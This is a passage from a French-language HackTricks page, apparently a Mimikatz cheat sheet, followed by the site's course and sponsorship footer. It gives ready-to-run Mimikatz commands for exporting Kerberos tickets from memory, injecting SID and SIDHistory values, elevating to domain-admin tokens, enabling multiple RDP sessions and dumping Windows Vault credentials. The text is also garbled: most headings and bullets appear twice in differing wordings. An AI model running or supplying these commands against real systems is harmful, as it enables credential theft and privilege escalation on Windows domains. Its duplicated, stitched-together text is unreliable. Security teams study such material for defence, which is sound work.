- **SEKURLSA::Tickets** : Extraire des tickets Kerberos de la mémoire.
- `mimikatz "sekurlsa::tickets /export" exit`
### Manipulation de SID et de Jeton
### Manipulation de SID et de jetons
- **SID::add/modify**: Changer le SID et SIDHistory.
- Ajouter: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modifier: *Aucune commande spécifique pour modifier dans le contexte original.*
- **SID::add/modify** : Changer SID et SIDHistory.
- Ajouter : `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Modifier : *Aucune commande spécifique pour modifier dans le contexte original.*
- **TOKEN::Elevate**: Imiter des jetons.
- **TOKEN::Elevate** : Usurper des jetons.
- `mimikatz "token::elevate /domainadmin" exit`
### Services Terminal
- **TS::MultiRDP**: Autoriser plusieurs sessions RDP.
- **TS::MultiRDP** : Autoriser plusieurs sessions RDP.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Liste des sessions TS/RDP.
- **TS::Sessions** : Lister les sessions TS/RDP.
- *Aucune commande spécifique fournie pour TS::Sessions dans le contexte original.*
### Coffre-fort
### Coffre
- Extraire les mots de passe du coffre-fort Windows.
- Extraire des mots de passe du Coffre Windows.
- `mimikatz "vault::cred /patch" exit`
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Soutenir HackTricks</summary>
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
{% endhint %}